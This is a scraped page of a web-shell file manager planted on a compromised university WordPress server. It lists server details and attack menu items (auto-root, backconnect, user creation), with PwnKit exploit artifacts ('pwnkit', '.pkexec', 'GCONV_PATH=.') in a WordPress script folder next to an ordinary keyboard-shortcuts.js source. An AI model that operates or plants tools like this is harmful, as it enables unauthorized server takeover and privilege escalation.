Linux web-conference.aiou.edu.pk 5.4.0-204-generic #224-Ubuntu SMP Thu Dec 5 13:38:28 UTC 2024 x86_64
Apache/2.4.41 (Ubuntu)
: 172.16.50.247 | : 3.145.186.132
Cant Read [ /etc/named.conf ]
7.4.3-4ubuntu2.28
www-data
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
BLACK DEFEND!
README
+ Create Folder
+ Create File
/
var /
www /
html /
aic.aiou.edu.pk /
wp-includes /
js /
dist /
[ HOME SHELL ]
Name
Size
Permission
Action
.pkexec
[ DIR ]
drwxr-xr-x
GCONV_PATH=.
[ DIR ]
drwxr-xr-x
development
[ DIR ]
drwxr-xr-x
script-modules
[ DIR ]
drwxr-xr-x
vendor
[ DIR ]
drwxr-xr-x
.mad-root
0
B
-rw-r--r--
a11y.js
8.53
KB
-rw-r--r--
a11y.min.js
2.3
KB
-rw-r--r--
annotations.js
23
KB
-rw-r--r--
annotations.min.js
5.39
KB
-rw-r--r--
api-fetch.js
22.97
KB
-rw-r--r--
api-fetch.min.js
5.41
KB
-rw-r--r--
autop.js
15.61
KB
-rw-r--r--
autop.min.js
5.48
KB
-rw-r--r--
blob.js
4.51
KB
-rw-r--r--
blob.min.js
1.08
KB
-rw-r--r--
block-directory.js
79.43
KB
-rw-r--r--
block-directory.min.js
20.37
KB
-rw-r--r--
block-editor.js
2.52
MB
-rw-r--r--
block-editor.min.js
822.17
KB
-rw-r--r--
block-library.js
2.06
MB
-rw-r--r--
block-library.min.js
823.01
KB
-rw-r--r--
block-serialization-default-pa...
14.87
KB
-rw-r--r--
block-serialization-default-pa...
2.34
KB
-rw-r--r--
blocks.js
552.73
KB
-rw-r--r--
blocks.min.js
169.02
KB
-rw-r--r--
commands.js
179.21
KB
-rw-r--r--
commands.min.js
48.33
KB
-rw-r--r--
components.js
2.24
MB
-rw-r--r--
components.min.js
689.07
KB
-rw-r--r--
compose.js
197.47
KB
-rw-r--r--
compose.min.js
36.09
KB
-rw-r--r--
core-commands.js
25
KB
-rw-r--r--
core-commands.min.js
9.2
KB
-rw-r--r--
core-data.js
258.18
KB
-rw-r--r--
core-data.min.js
62.68
KB
-rw-r--r--
customize-widgets.js
97.13
KB
-rw-r--r--
customize-widgets.min.js
34.32
KB
-rw-r--r--
data-controls.js
7.14
KB
-rw-r--r--
data-controls.min.js
1.44
KB
-rw-r--r--
data.js
154.61
KB
-rw-r--r--
data.min.js
26.46
KB
-rw-r--r--
date.js
798.19
KB
-rw-r--r--
date.min.js
765.07
KB
-rw-r--r--
deprecated.js
4.63
KB
-rw-r--r--
deprecated.min.js
684
B
-rw-r--r--
dom-ready.js
2.41
KB
-rw-r--r--
dom-ready.min.js
457
B
-rw-r--r--
dom.js
61.52
KB
-rw-r--r--
dom.min.js
12.23
KB
-rw-r--r--
edit-post.js
123.54
KB
-rw-r--r--
edit-post.min.js
42.15
KB
-rw-r--r--
edit-site.js
1.52
MB
-rw-r--r--
edit-site.min.js
608.94
KB
-rw-r--r--
edit-widgets.js
175.48
KB
-rw-r--r--
edit-widgets.min.js
58
KB
-rw-r--r--
editor.js
1.01
MB
-rw-r--r--
editor.min.js
337.36
KB
-rw-r--r--
element.js
66.28
KB
-rw-r--r--
element.min.js
11.7
KB
-rw-r--r--
escape-html.js
5.9
KB
-rw-r--r--
escape-html.min.js
1000
B
-rw-r--r--
fields.js
71.26
KB
-rw-r--r--
fields.min.js
22.33
KB
-rw-r--r--
format-library.js
68.36
KB
-rw-r--r--
format-library.min.js
22.39
KB
-rw-r--r--
hooks.js
20.43
KB
-rw-r--r--
hooks.min.js
4.66
KB
-rw-r--r--
html-entities.js
3.62
KB
-rw-r--r--
html-entities.min.js
788
B
-rw-r--r--
i18n.js
48.74
KB
-rw-r--r--
i18n.min.js
8.93
KB
-rw-r--r--
is-shallow-equal.js
4.25
KB
-rw-r--r--
is-shallow-equal.min.js
1018
B
-rw-r--r--
keyboard-shortcuts.js
24.17
KB
-rw-r--r--
keyboard-shortcuts.min.js
2.95
KB
-rw-r--r--
keycodes.js
13.77
KB
-rw-r--r--
keycodes.min.js
2.58
KB
-rw-r--r--
list-reusable-blocks.js
30.79
KB
-rw-r--r--
list-reusable-blocks.min.js
4.8
KB
-rw-r--r--
media-utils.js
25.47
KB
-rw-r--r--
media-utils.min.js
8.05
KB
-rw-r--r--
notices.js
21.64
KB
-rw-r--r--
notices.min.js
2.02
KB
-rw-r--r--
nux.js
13.29
KB
-rw-r--r--
nux.min.js
3.43
KB
-rw-r--r--
patterns.js
63
KB
-rw-r--r--
patterns.min.js
20.89
KB
-rw-r--r--
plugins.js
17.72
KB
-rw-r--r--
plugins.min.js
4.05
KB
-rw-r--r--
preferences-persistence.js
29.58
KB
-rw-r--r--
preferences-persistence.min.js
5.49
KB
-rw-r--r--
preferences.js
25.71
KB
-rw-r--r--
preferences.min.js
6.92
KB
-rw-r--r--
primitives.js
6.73
KB
-rw-r--r--
primitives.min.js
1.62
KB
-rw-r--r--
priority-queue.js
13.91
KB
-rw-r--r--
priority-queue.min.js
3.3
KB
-rw-r--r--
private-apis.js
8.68
KB
-rw-r--r--
private-apis.min.js
2.74
KB
-rw-r--r--
pwnkit
10.99
KB
-rwxr-xr-x
redux-routine.js
23.42
KB
-rw-r--r--
redux-routine.min.js
8.69
KB
-rw-r--r--
reusable-blocks.js
20.39
KB
-rw-r--r--
reusable-blocks.min.js
5.97
KB
-rw-r--r--
rich-text.js
115.4
KB
-rw-r--r--
rich-text.min.js
29.11
KB
-rw-r--r--
router.js
26.29
KB
-rw-r--r--
router.min.js
4.29
KB
-rw-r--r--
server-side-render.js
14.61
KB
-rw-r--r--
server-side-render.min.js
4.28
KB
-rw-r--r--
shortcode.js
14.92
KB
-rw-r--r--
shortcode.min.js
2.83
KB
-rw-r--r--
style-engine.js
38.81
KB
-rw-r--r--
style-engine.min.js
5.91
KB
-rw-r--r--
token-list.js
5.91
KB
-rw-r--r--
token-list.min.js
1.24
KB
-rw-r--r--
undo-manager.js
8.22
KB
-rw-r--r--
undo-manager.min.js
1.64
KB
-rw-r--r--
url.js
34.24
KB
-rw-r--r--
url.min.js
8.18
KB
-rw-r--r--
viewport.js
10.45
KB
-rw-r--r--
viewport.min.js
1.82
KB
-rw-r--r--
warning.js
2.43
KB
-rw-r--r--
warning.min.js
311
B
-rw-r--r--
widgets.js
53.32
KB
-rw-r--r--
widgets.min.js
19.68
KB
-rw-r--r--
wordcount.js
14.63
KB
-rw-r--r--
wordcount.min.js
2.42
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : keyboard-shortcuts.js
/******/ (() => { // webpackBootstrap /******/ "use strict"; /******/ // The require scope /******/ var __webpack_require__ = {}; /******/ /************************************************************************/ /******/ /* webpack/runtime/define property getters */ /******/ (() => { /******/ // define getter functions for harmony exports /******/ __webpack_require__.d = (exports, definition) => { /******/ for(var key in definition) { /******/ if(__webpack_require__.o(definition, key) && !__webpack_require__.o(exports, key)) { /******/ Object.defineProperty(exports, key, { enumerable: true, get: definition[key] }); /******/ } /******/ } /******/ }; /******/ })(); /******/ /******/ /* webpack/runtime/hasOwnProperty shorthand */ /******/ (() => { /******/ __webpack_require__.o = (obj, prop) => (Object.prototype.hasOwnProperty.call(obj, prop)) /******/ })(); /******/ /******/ /* webpack/runtime/make namespace object */ /******/ (() => { /******/ // define __esModule on exports /******/ __webpack_require__.r = (exports) => { /******/ if(typeof Symbol !== 'undefined' && Symbol.toStringTag) { /******/ Object.defineProperty(exports, Symbol.toStringTag, { value: 'Module' }); /******/ } /******/ Object.defineProperty(exports, '__esModule', { value: true }); /******/ }; /******/ })(); /******/ /************************************************************************/ var __webpack_exports__ = {}; // ESM COMPAT FLAG __webpack_require__.r(__webpack_exports__); // EXPORTS __webpack_require__.d(__webpack_exports__, { ShortcutProvider: () => (/* reexport */ ShortcutProvider), __unstableUseShortcutEventMatch: () => (/* reexport */ useShortcutEventMatch), store: () => (/* reexport */ store), useShortcut: () => (/* reexport */ useShortcut) }); // NAMESPACE OBJECT: ./node_modules/@wordpress/keyboard-shortcuts/build-module/store/actions.js var actions_namespaceObject = {}; __webpack_require__.r(actions_namespaceObject); __webpack_require__.d(actions_namespaceObject, { registerShortcut: () => (registerShortcut), unregisterShortcut: () => (unregisterShortcut) }); // NAMESPACE OBJECT: ./node_modules/@wordpress/keyboard-shortcuts/build-module/store/selectors.js var selectors_namespaceObject = {}; __webpack_require__.r(selectors_namespaceObject); __webpack_require__.d(selectors_namespaceObject, { getAllShortcutKeyCombinations: () => (getAllShortcutKeyCombinations), getAllShortcutRawKeyCombinations: () => (getAllShortcutRawKeyCombinations), getCategoryShortcuts: () => (getCategoryShortcuts), getShortcutAliases: () => (getShortcutAliases), getShortcutDescription: () => (getShortcutDescription), getShortcutKeyCombination: () => (getShortcutKeyCombination), getShortcutRepresentation: () => (getShortcutRepresentation) }); ;// CONCATENATED MODULE: external ["wp","data"] const external_wp_data_namespaceObject = window["wp"]["data"]; ;// CONCATENATED MODULE: ./node_modules/@wordpress/keyboard-shortcuts/build-module/store/reducer.js /** * Reducer returning the registered shortcuts * * @param {Object} state Current state. * @param {Object} action Dispatched action. * * @return {Object} Updated state. */ function reducer(state = {}, action) { switch (action.type) { case 'REGISTER_SHORTCUT': return { ...state, [action.name]: { category: action.category, keyCombination: action.keyCombination, aliases: action.aliases, description: action.description } }; case 'UNREGISTER_SHORTCUT': const { [action.name]: actionName, ...remainingState } = state; return remainingState; } return state; } /* harmony default export */ const store_reducer = (reducer); ;// CONCATENATED MODULE: ./node_modules/@wordpress/keyboard-shortcuts/build-module/store/actions.js /** @typedef {import('@wordpress/keycodes').WPKeycodeModifier} WPKeycodeModifier */ /** * Keyboard key combination. * * @typedef {Object} WPShortcutKeyCombination * * @property {string} character Character. * @property {WPKeycodeModifier|undefined} modifier Modifier. */ /** * Configuration of a registered keyboard shortcut. * * @typedef {Object} WPShortcutConfig * * @property {string} name Shortcut name. * @property {string} category Shortcut category. * @property {string} description Shortcut description. * @property {WPShortcutKeyCombination} keyCombination Shortcut key combination. * @property {WPShortcutKeyCombination[]} [aliases] Shortcut aliases. */ /** * Returns an action object used to register a new keyboard shortcut. * * @param {WPShortcutConfig} config Shortcut config. * * @example * *```js * import { useEffect } from 'react'; * import { store as keyboardShortcutsStore } from '@wordpress/keyboard-shortcuts'; * import { useSelect, useDispatch } from '@wordpress/data'; * import { __ } from '@wordpress/i18n'; * * const ExampleComponent = () => { * const { registerShortcut } = useDispatch( keyboardShortcutsStore ); * * useEffect( () => { * registerShortcut( { * name: 'custom/my-custom-shortcut', * category: 'my-category', * description: __( 'My custom shortcut' ), * keyCombination: { * modifier: 'primary', * character: 'j', * }, * } ); * }, [] ); * * const shortcut = useSelect( * ( select ) => * select( keyboardShortcutsStore ).getShortcutKeyCombination( * 'custom/my-custom-shortcut' * ), * [] * ); * * return shortcut ? ( * <p>{ __( 'Shortcut is registered.' ) }</p> * ) : ( * <p>{ __( 'Shortcut is not registered.' ) }</p> * ); * }; *``` * @return {Object} action. */ function registerShortcut({ name, category, description, keyCombination, aliases }) { return { type: 'REGISTER_SHORTCUT', name, category, keyCombination, aliases, description }; } /** * Returns an action object used to unregister a keyboard shortcut. * * @param {string} name Shortcut name. * * @example * *```js * import { useEffect } from 'react'; * import { store as keyboardShortcutsStore } from '@wordpress/keyboard-shortcuts'; * import { useSelect, useDispatch } from '@wordpress/data'; * import { __ } from '@wordpress/i18n'; * * const ExampleComponent = () => { * const { unregisterShortcut } = useDispatch( keyboardShortcutsStore ); * * useEffect( () => { * unregisterShortcut( 'core/editor/next-region' ); * }, [] ); * * const shortcut = useSelect( * ( select ) => * select( keyboardShortcutsStore ).getShortcutKeyCombination( * 'core/editor/next-region' * ), * [] * ); * * return shortcut ? ( * <p>{ __( 'Shortcut is not unregistered.' ) }</p> * ) : ( * <p>{ __( 'Shortcut is unregistered.' ) }</p> * ); * }; *``` * @return {Object} action. */ function unregisterShortcut(name) { return { type: 'UNREGISTER_SHORTCUT', name }; } ;// CONCATENATED MODULE: external ["wp","keycodes"] const external_wp_keycodes_namespaceObject = window["wp"]["keycodes"]; ;// CONCATENATED MODULE: ./node_modules/@wordpress/keyboard-shortcuts/build-module/store/selectors.js /** * WordPress dependencies */ /** @typedef {import('./actions').WPShortcutKeyCombination} WPShortcutKeyCombination */ /** @typedef {import('@wordpress/keycodes').WPKeycodeHandlerByModifier} WPKeycodeHandlerByModifier */ /** * Shared reference to an empty array for cases where it is important to avoid * returning a new array reference on every invocation. * * @type {Array<any>} */ const EMPTY_ARRAY = []; /** * Shortcut formatting methods. * * @property {WPKeycodeHandlerByModifier} display Display formatting. * @property {WPKeycodeHandlerByModifier} rawShortcut Raw shortcut formatting. * @property {WPKeycodeHandlerByModifier} ariaLabel ARIA label formatting. */ const FORMATTING_METHODS = { display: external_wp_keycodes_namespaceObject.displayShortcut, raw: external_wp_keycodes_namespaceObject.rawShortcut, ariaLabel: external_wp_keycodes_namespaceObject.shortcutAriaLabel }; /** * Returns a string representing the key combination. * * @param {?WPShortcutKeyCombination} shortcut Key combination. * @param {keyof FORMATTING_METHODS} representation Type of representation * (display, raw, ariaLabel). * * @return {string?} Shortcut representation. */ function getKeyCombinationRepresentation(shortcut, representation) { if (!shortcut) { return null; } return shortcut.modifier ? FORMATTING_METHODS[representation][shortcut.modifier](shortcut.character) : shortcut.character; } /** * Returns the main key combination for a given shortcut name. * * @param {Object} state Global state. * @param {string} name Shortcut name. * * @example * *```js * import { store as keyboardShortcutsStore } from '@wordpress/keyboard-shortcuts'; * import { useSelect } from '@wordpress/data'; * import { createInterpolateElement } from '@wordpress/element'; * import { sprintf } from '@wordpress/i18n'; * const ExampleComponent = () => { * const {character, modifier} = useSelect( * ( select ) => * select( keyboardShortcutsStore ).getShortcutKeyCombination( * 'core/editor/next-region' * ), * [] * ); * * return ( * <div> * { createInterpolateElement( * sprintf( * 'Character: <code>%s</code> / Modifier: <code>%s</code>', * character, * modifier * ), * { * code: <code />, * } * ) } * </div> * ); * }; *``` * * @return {WPShortcutKeyCombination?} Key combination. */ function getShortcutKeyCombination(state, name) { return state[name] ? state[name].keyCombination : null; } /** * Returns a string representing the main key combination for a given shortcut name. * * @param {Object} state Global state. * @param {string} name Shortcut name. * @param {keyof FORMATTING_METHODS} representation Type of representation * (display, raw, ariaLabel). * @example * *```js * import { store as keyboardShortcutsStore } from '@wordpress/keyboard-shortcuts'; * import { useSelect } from '@wordpress/data'; * import { sprintf } from '@wordpress/i18n'; * * const ExampleComponent = () => { * const {display, raw, ariaLabel} = useSelect( * ( select ) =>{ * return { * display: select( keyboardShortcutsStore ).getShortcutRepresentation('core/editor/next-region' ), * raw: select( keyboardShortcutsStore ).getShortcutRepresentation('core/editor/next-region','raw' ), * ariaLabel: select( keyboardShortcutsStore ).getShortcutRepresentation('core/editor/next-region', 'ariaLabel') * } * }, * [] * ); * * return ( * <ul> * <li>{ sprintf( 'display string: %s', display ) }</li> * <li>{ sprintf( 'raw string: %s', raw ) }</li> * <li>{ sprintf( 'ariaLabel string: %s', ariaLabel ) }</li> * </ul> * ); * }; *``` * * @return {string?} Shortcut representation. */ function getShortcutRepresentation(state, name, representation = 'display') { const shortcut = getShortcutKeyCombination(state, name); return getKeyCombinationRepresentation(shortcut, representation); } /** * Returns the shortcut description given its name. * * @param {Object} state Global state. * @param {string} name Shortcut name. * * @example * *```js * import { store as keyboardShortcutsStore } from '@wordpress/keyboard-shortcuts'; * import { useSelect } from '@wordpress/data'; * import { __ } from '@wordpress/i18n'; * const ExampleComponent = () => { * const shortcutDescription = useSelect( * ( select ) => * select( keyboardShortcutsStore ).getShortcutDescription( 'core/editor/next-region' ), * [] * ); * * return shortcutDescription ? ( * <div>{ shortcutDescription }</div> * ) : ( * <div>{ __( 'No description.' ) }</div> * ); * }; *``` * @return {string?} Shortcut description. */ function getShortcutDescription(state, name) { return state[name] ? state[name].description : null; } /** * Returns the aliases for a given shortcut name. * * @param {Object} state Global state. * @param {string} name Shortcut name. * @example * *```js * import { store as keyboardShortcutsStore } from '@wordpress/keyboard-shortcuts'; * import { useSelect } from '@wordpress/data'; * import { createInterpolateElement } from '@wordpress/element'; * import { sprintf } from '@wordpress/i18n'; * const ExampleComponent = () => { * const shortcutAliases = useSelect( * ( select ) => * select( keyboardShortcutsStore ).getShortcutAliases( * 'core/editor/next-region' * ), * [] * ); * * return ( * shortcutAliases.length > 0 && ( * <ul> * { shortcutAliases.map( ( { character, modifier }, index ) => ( * <li key={ index }> * { createInterpolateElement( * sprintf( * 'Character: <code>%s</code> / Modifier: <code>%s</code>', * character, * modifier * ), * { * code: <code />, * } * ) } * </li> * ) ) } * </ul> * ) * ); * }; *``` * * @return {WPShortcutKeyCombination[]} Key combinations. */ function getShortcutAliases(state, name) { return state[name] && state[name].aliases ? state[name].aliases : EMPTY_ARRAY; } /** * Returns the shortcuts that include aliases for a given shortcut name. * * @param {Object} state Global state. * @param {string} name Shortcut name. * @example * *```js * import { store as keyboardShortcutsStore } from '@wordpress/keyboard-shortcuts'; * import { useSelect } from '@wordpress/data'; * import { createInterpolateElement } from '@wordpress/element'; * import { sprintf } from '@wordpress/i18n'; * * const ExampleComponent = () => { * const allShortcutKeyCombinations = useSelect( * ( select ) => * select( keyboardShortcutsStore ).getAllShortcutKeyCombinations( * 'core/editor/next-region' * ), * [] * ); * * return ( * allShortcutKeyCombinations.length > 0 && ( * <ul> * { allShortcutKeyCombinations.map( * ( { character, modifier }, index ) => ( * <li key={ index }> * { createInterpolateElement( * sprintf( * 'Character: <code>%s</code> / Modifier: <code>%s</code>', * character, * modifier * ), * { * code: <code />, * } * ) } * </li> * ) * ) } * </ul> * ) * ); * }; *``` * * @return {WPShortcutKeyCombination[]} Key combinations. */ const getAllShortcutKeyCombinations = (0,external_wp_data_namespaceObject.createSelector)((state, name) => { return [getShortcutKeyCombination(state, name), ...getShortcutAliases(state, name)].filter(Boolean); }, (state, name) => [state[name]]); /** * Returns the raw representation of all the keyboard combinations of a given shortcut name. * * @param {Object} state Global state. * @param {string} name Shortcut name. * * @example * *```js * import { store as keyboardShortcutsStore } from '@wordpress/keyboard-shortcuts'; * import { useSelect } from '@wordpress/data'; * import { createInterpolateElement } from '@wordpress/element'; * import { sprintf } from '@wordpress/i18n'; * * const ExampleComponent = () => { * const allShortcutRawKeyCombinations = useSelect( * ( select ) => * select( keyboardShortcutsStore ).getAllShortcutRawKeyCombinations( * 'core/editor/next-region' * ), * [] * ); * * return ( * allShortcutRawKeyCombinations.length > 0 && ( * <ul> * { allShortcutRawKeyCombinations.map( * ( shortcutRawKeyCombination, index ) => ( * <li key={ index }> * { createInterpolateElement( * sprintf( * ' <code>%s</code>', * shortcutRawKeyCombination * ), * { * code: <code />, * } * ) } * </li> * ) * ) } * </ul> * ) * ); * }; *``` * * @return {string[]} Shortcuts. */ const getAllShortcutRawKeyCombinations = (0,external_wp_data_namespaceObject.createSelector)((state, name) => { return getAllShortcutKeyCombinations(state, name).map(combination => getKeyCombinationRepresentation(combination, 'raw')); }, (state, name) => [state[name]]); /** * Returns the shortcut names list for a given category name. * * @param {Object} state Global state. * @param {string} name Category name. * @example * *```js * import { store as keyboardShortcutsStore } from '@wordpress/keyboard-shortcuts'; * import { useSelect } from '@wordpress/data'; * * const ExampleComponent = () => { * const categoryShortcuts = useSelect( * ( select ) => * select( keyboardShortcutsStore ).getCategoryShortcuts( * 'block' * ), * [] * ); * * return ( * categoryShortcuts.length > 0 && ( * <ul> * { categoryShortcuts.map( ( categoryShortcut ) => ( * <li key={ categoryShortcut }>{ categoryShortcut }</li> * ) ) } * </ul> * ) * ); * }; *``` * @return {string[]} Shortcut names. */ const getCategoryShortcuts = (0,external_wp_data_namespaceObject.createSelector)((state, categoryName) => { return Object.entries(state).filter(([, shortcut]) => shortcut.category === categoryName).map(([name]) => name); }, state => [state]); ;// CONCATENATED MODULE: ./node_modules/@wordpress/keyboard-shortcuts/build-module/store/index.js /** * WordPress dependencies */ /** * Internal dependencies */ const STORE_NAME = 'core/keyboard-shortcuts'; /** * Store definition for the keyboard shortcuts namespace. * * @see https://github.com/WordPress/gutenberg/blob/HEAD/packages/data/README.md#createReduxStore * * @type {Object} */ const store = (0,external_wp_data_namespaceObject.createReduxStore)(STORE_NAME, { reducer: store_reducer, actions: actions_namespaceObject, selectors: selectors_namespaceObject }); (0,external_wp_data_namespaceObject.register)(store); ;// CONCATENATED MODULE: external ["wp","element"] const external_wp_element_namespaceObject = window["wp"]["element"]; ;// CONCATENATED MODULE: ./node_modules/@wordpress/keyboard-shortcuts/build-module/hooks/use-shortcut-event-match.js /** * WordPress dependencies */ /** * Internal dependencies */ /** * Returns a function to check if a keyboard event matches a shortcut name. * * @return {Function} A function to check if a keyboard event matches a * predefined shortcut combination. */ function useShortcutEventMatch() { const { getAllShortcutKeyCombinations } = (0,external_wp_data_namespaceObject.useSelect)(store); /** * A function to check if a keyboard event matches a predefined shortcut * combination. * * @param {string} name Shortcut name. * @param {KeyboardEvent} event Event to check. * * @return {boolean} True if the event matches any shortcuts, false if not. */ function isMatch(name, event) { return getAllShortcutKeyCombinations(name).some(({ modifier, character }) => { return external_wp_keycodes_namespaceObject.isKeyboardEvent[modifier](event, character); }); } return isMatch; } ;// CONCATENATED MODULE: ./node_modules/@wordpress/keyboard-shortcuts/build-module/context.js /** * WordPress dependencies */ const globalShortcuts = new Set(); const globalListener = event => { for (const keyboardShortcut of globalShortcuts) { keyboardShortcut(event); } }; const context = (0,external_wp_element_namespaceObject.createContext)({ add: shortcut => { if (globalShortcuts.size === 0) { document.addEventListener('keydown', globalListener); } globalShortcuts.add(shortcut); }, delete: shortcut => { globalShortcuts.delete(shortcut); if (globalShortcuts.size === 0) { document.removeEventListener('keydown', globalListener); } } }); ;// CONCATENATED MODULE: ./node_modules/@wordpress/keyboard-shortcuts/build-module/hooks/use-shortcut.js /** * WordPress dependencies */ /** * Internal dependencies */ /** * Attach a keyboard shortcut handler. * * @param {string} name Shortcut name. * @param {Function} callback Shortcut callback. * @param {Object} options Shortcut options. * @param {boolean} options.isDisabled Whether to disable to shortut. */ function useShortcut(name, callback, { isDisabled = false } = {}) { const shortcuts = (0,external_wp_element_namespaceObject.useContext)(context); const isMatch = useShortcutEventMatch(); const callbackRef = (0,external_wp_element_namespaceObject.useRef)(); (0,external_wp_element_namespaceObject.useEffect)(() => { callbackRef.current = callback; }, [callback]); (0,external_wp_element_namespaceObject.useEffect)(() => { if (isDisabled) { return; } function _callback(event) { if (isMatch(name, event)) { callbackRef.current(event); } } shortcuts.add(_callback); return () => { shortcuts.delete(_callback); }; }, [name, isDisabled, shortcuts]); } ;// CONCATENATED MODULE: external "ReactJSXRuntime" const external_ReactJSXRuntime_namespaceObject = window["ReactJSXRuntime"]; ;// CONCATENATED MODULE: ./node_modules/@wordpress/keyboard-shortcuts/build-module/components/shortcut-provider.js /** * WordPress dependencies */ /** * Internal dependencies */ const { Provider } = context; /** * Handles callbacks added to context by `useShortcut`. * Adding a provider allows to register contextual shortcuts * that are only active when a certain part of the UI is focused. * * @param {Object} props Props to pass to `div`. * * @return {Element} Component. */ function ShortcutProvider(props) { const [keyboardShortcuts] = (0,external_wp_element_namespaceObject.useState)(() => new Set()); function onKeyDown(event) { if (props.onKeyDown) { props.onKeyDown(event); } for (const keyboardShortcut of keyboardShortcuts) { keyboardShortcut(event); } } /* eslint-disable jsx-a11y/no-static-element-interactions */ return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(Provider, { value: keyboardShortcuts, children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("div", { ...props, onKeyDown: onKeyDown }) }); /* eslint-enable jsx-a11y/no-static-element-interactions */ } ;// CONCATENATED MODULE: ./node_modules/@wordpress/keyboard-shortcuts/build-module/index.js (window.wp = window.wp || {}).keyboardShortcuts = __webpack_exports__; /******/ })() ;
Close